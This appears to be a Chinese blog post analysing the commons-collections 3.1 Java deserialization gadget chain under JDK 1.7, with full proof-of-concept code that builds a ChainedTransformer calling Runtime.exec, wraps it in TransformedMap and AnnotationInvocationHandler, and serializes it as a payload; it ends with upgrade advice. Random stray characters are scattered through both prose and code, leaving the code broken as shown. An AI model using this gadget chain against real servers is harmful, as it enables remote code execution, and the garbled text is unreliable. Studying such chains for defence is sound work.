完成命令执行服务端执行如下操作:

  1. 服务端反序列化我们的输入成ChainedTransformer类型
  2. 调用这个输入的transform函数

转变的类型是一个数据转化链数据格式,很明显服务端不可能存在这种代码,利用价值不足,接下来我们需要继续延长这个漏洞链。

封装成Map

由于我们得到x : ) x s的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函d f ~ r F (数,只需要添加数据至mI 7 ; 8 $ O Vap中就会自动调用这个转换链执行pay% G h ( % Wload。

这样我们就可M ( E 7 ) (以把触发条件从显性的调用转换链的6 ; N Y { # otransform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

TransformedMap

public static MK / ? }ap decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(ma] W * j 8 F 1 Ap, keyTransformer, valueTransformer);}

try一下:

pr L ? w c public static void main(String args) throwsC 1 X Exception { //1.客户端构建攻击代码//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer transforme1 I e [rs = new# ` U P ` Z C Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(\. V S /"getMethod\", new Class {StrH t O H :ing.class, Class.i B ] j - % lclass }, new Object {\"getRuntime\} 8 - c p ", new Cl6 ! % X ) 6 F b Vass[0] })h ) . s F Z s g, new InvokerTransformer(\R V L"invoke\", new Class {Object.class, Object.class@ I t S c x ~ }, new Object {null, new Obje9 ( r W 4 d 4ct[0] }), new InvokerTransformer(\"exec\",x ) + b 9 , 1 L new Class {String.class }* e Z u ), new Object {\"& i * kcal2 r P o . {c.exe\{ | . t"})}; //将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChin7 X kaMap innerMap = new H6 T w l |ashMap;innerMap.put(\"value\",; L L l Y T D m , ]\"value\"); //给予map数据转化链Map outerMap = Tr? s O GansformedMap.decorate(inn+ c n (erMap, null, transformerChain); //payload序列化写入文件,模拟网n 2 q l c M络传输FileOutputStream f = new FileOutputStream(\"payload.bin\");ObjectOutputStream foo F J ) d Rut = new ObjectOutputStream(f);fout.writeObject(outerMap); //2.服务端接受反序列化,出发漏洞P i m z Q L x # u//读取文件,反序列化,模拟网2 v D x络传输FileInputStream fi = new FileInputStream(\"payload.bin\");ObjectIV ~ _ R W m K L `nputStream fin = new ObjectInputE X VStream(fi); //服务端反序列化成Map格式,再调用transform函数MapV b 7 e outerMap_now = (Map)fin.readObject; //2.1可以直接map添加新值,触发漏洞//outerMap_now.put(\"123\", \"123\");//2.2也可以获取map键值对,修改valueb 0 ~ * L,value为value,foobar,触发漏洞Map.Entry onl( 4 lyElement = (Map.Entry) outerMap.e7 : g K n sntrySet.iterator.next;onlyElement.setValuY ? ? -e(\"fo} R , f - 3 }obar\");}

亲测有效

第四步 jdk1.7 Annotatx n $ & a G : P ionInvocationHandler的readOU w ` ~bject复写点

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObjech - G Bt函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.4 x # $AnnotationInvocationHandler。我們先看他的构造函数

AnnotationInvocationHandler(ClassD C |<? extends Annotation> var1, ME ` { ^ ` 1 -ap<String, Obje! V C } M 1 8 + _ct> var2) {Class var3 = var1.getInterfaces; if (var1.isAnnotation && var3} & ~ ! r.length == 1 && var3[0] == Annotation.class)l F L ? E {//var1满足这个if条件时thi| J ` M l 1 n # Ss.type = var1;//传入的var1到this.typethis.memberValues = var2;//我们的map传入this.memberVaT 5 a ` - w Ulues} else { throw new Annotationl ? ^ : q ^ I EFormatError(\"Attempt to create proxy for a non-annotation type.\");}}

readobject复写函数:

private void read+ n {Object(ObjectInputv | a Z 5 n v bStream var1) throws IOException, ClassNotFour G & : )ndException { //默认反序列化var1.defaultReadObject;AnnotationType var2 = nullb 4 0 o i 7 u; try {v7 h n ; & W Har2 = Annotp 6 / 2ationType.getInstance(this.type);} catch (IllegalArgumentExceptij W S ^ 0 H n + fon var9) { throw new InvalidObjectExceptio1 2 t $ 4 d !n(\"NoI H , _n-annotation typo ( P 5 c / 4e inC n X f V C 0 a@ N 6 x + f i Onnotation serial stream\");}Map var3 = vI 4 U xar2.memberTypes;//Iterator var4 = this.memberValues.- ~ + qentrySet.iterator;//获取我们构造map的迭代器while(var4.hasNext) {Entry var5 = (Entry)var4.next;//遍历map迭代器String var6Y M $ = (String)var5.getKey;//获取key的名称Class var7 = (Class)var3.get(var6);//获R 9 d # e取var2中相应kT k B $ J @ H rey的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样if (var7 != null) {Object var8 = var5.getValue;//获取map的valueif (!var7.isInstance(var8) &&Q ! ramp; !(var8 instanceof ExceptionProxy)) { //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功var5.setValue((v d ]new AnnotationTym @ 4 $peMismat f , y ?tchExceptionProxy(var8.getClass + \"[\" + var8 + \"]\")).setMember((Method)var2.members.get(var6)));}}}}}i G ] v 6 C u $

虽然相对于这个类具体做什么,实在是没有精力去搞清楚了A g ! ],但是它最终对于我们传p , F ]入构造函数的map进行遍历赋值。这样就弥补了7 F { r B _ & = .我们之前反序列化需要服务端存在一些条件的不足,形成完美反序列化攻击。

最终模拟攻击代码

public$ o Q l 0 d _ statiw ? 2 2 g V C @ Dc void maiu ( 8 a h K + mn(String args) throws Exception { //1.客户端构建攻击代码//此处构建了3 y J m y一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer transformers = new Transformer { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class {String.class,f f W ; 3 R Class.cla@ P c 1 W Jss },$ n s . H O % i 9 new Object {\"getRuntime\U % L R F T + d |", new Class[0] }), new InvokerTrp y ] 0 wansformer(\"invoke\", new Class {~ = B 4 * h SObject.class, Object.class }, new Object {null, new O/ ` ! ? 7 ]bject[0] }), new InvokerTransformer(\"exK J h Zec\", new Class {String.class }| N u @ d, new Object {\"calc.exe\"})}; //将tr0 f c q h :ansformers数O r ` 6 组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定t p $ }transformerChinaMap innerD 2 g H ~ ?Map = new HashMap;innerMap.put(\"value\", \"valueY T V S f U p H\"); //给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, tre @ n 2 t o I } FansformerChu * 1 z * t w Tain)q % [ i Q b ;; //反射机制调用AnnotationInvocationHQ $ xandler类的构造函数Class cl = Class.forNamx U )e(\"sun.reflect.annotation.AnnotationInvocationHandler\");8 b 1 o z 6 G -Constructor ctor = cl.getDeclaredConstructor(Class.c, } E V Ulass, Map.class); //取消构造函数修饰符限1 D Q X P n制ctor.setAccessible(true); //获取AnnotationInvocationHandler类实例Object insta7 6 5 V s ( Tnce = ctor.newInstance(Target.cl5 [ . 8 3 P 7 ;ass, outerMap); //payload序列化写入文件,模拟m 2 & S ] 7 q w网络传输FileOutputStreab ) (m f = new FileOutputStream(\"payload.bin\");ObjectOutputStream fout = new ObjectOutputStream(f);fout.writeObject(M W Ginstance); /V @ T/2.服务端读取文件,反序列化,模拟网络传输Fi^ y u ] ( [leInputStream fi = new FileInputStream(\"payload.bin\");ObjectInputStream fin = new ObjectInputStr. } d Eeam(fi); //服务端反序列化fin.readObject;}

成功

JAVA反序列化 - commons-collections - 1

至此,我们在客户端构造了payload发送至服务端,只要服务端

  1. 对我们的输入进行反序列化
  2. jdk版本为1.7

就可以直接完成命令执行,完美!

jdk1v X k ` f =.8为什么不行呢

那么jdk1.8为啥不1 : % h / u `行呢,看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotN ) H ]FoundException {GetField var2 = var1.readFields;Class var3 = (Class)var2.getO t l 9(\"type\", (Object)null);Map var4 = (Mapb S {)var2.get(\"memberValues\", (Object)null);AnnotationTyh p T [ a { ppe var5 = null; try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) { throw new InvalidObj] x E ! 2 t q =ectException] M @ m r ((\"Non-annotation type in annotation seriaZ / O y A j pl stream\");}Map var6 = var5.memberTypes;LinkedHashMap var7 = new LinkedHM P N r P yashMap;String var10;Object var11; for(Iteru 6 T n C r 8 X -ator var8 = var4.entrySeW o Z 8 p 1 wt.i4 0 - X ) Dterator; var8.hasNext; var7.put(var10, var11)) {Entry var9 = (Entry)var8.next;Y Nvar10 = (String)var9.getKey;var11 = null;ClasA Y / H : ? o :s var12 = (Class)var6.gP ; u + 5 $ wet(var10); if (var12 != null) {var11 = var9.getValue; if (!var12.isInstance(var11) && !(var11 instanceof ExceA / xptionProxy)) { //很伤心的,没有了map赋值语句var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass + \F R r ) Q - V"[\" + var1S , W @ j D (1 + \"]\")).setMember((Method)var5.members.get(var10));}}}

因为这个函数出现了变动,不再有赋值语句,所以触发不了漏洞。

No.6写在后面

至此我们就完成common-collection 3.1版本 jdk1.7版本下$ f 5 n S的POC复现和利用链分析w A O。当然还有common-collection 不同组件版本,不同环境下poc和& ~ A利用链均有不m N 5 D L D同,在ysoJ T W d j dserial下就有7,8中利用方式。还可以通过rmi模式进行利用等。

但是由于这篇博客写的太长了,思路也一直断断续续,其他内容W R } *之后再陆续学习分析吧~

No.T 1 w q a v J |7修h h | z复意见

commons-collections组件版本 升级至官方最新版本

上一篇

为什么这个赛季看不到约翰-沃尔?

下一篇

一边变现一边炒的只是股市?我还想到了房产。秋风未至蝉先觉

你也可能喜欢

  • 暂无相关文章!

发表评论

您的电子邮件地址不会被公开。 必填项已用 * 标注

提示:点击验证后方可评论!

插入图片
返回顶部